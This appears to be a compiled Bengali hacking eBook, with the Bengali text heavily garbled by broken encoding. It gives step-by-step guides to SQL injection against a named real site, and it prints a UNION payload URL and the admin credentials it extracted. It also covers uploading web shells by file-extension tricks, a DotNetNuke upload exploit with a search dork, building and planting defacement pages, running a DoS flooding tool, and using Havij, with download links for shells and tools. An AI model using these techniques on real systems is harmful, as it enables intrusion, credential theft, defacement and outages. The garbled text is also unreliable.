সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 28: Hacking Bangla eBook

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

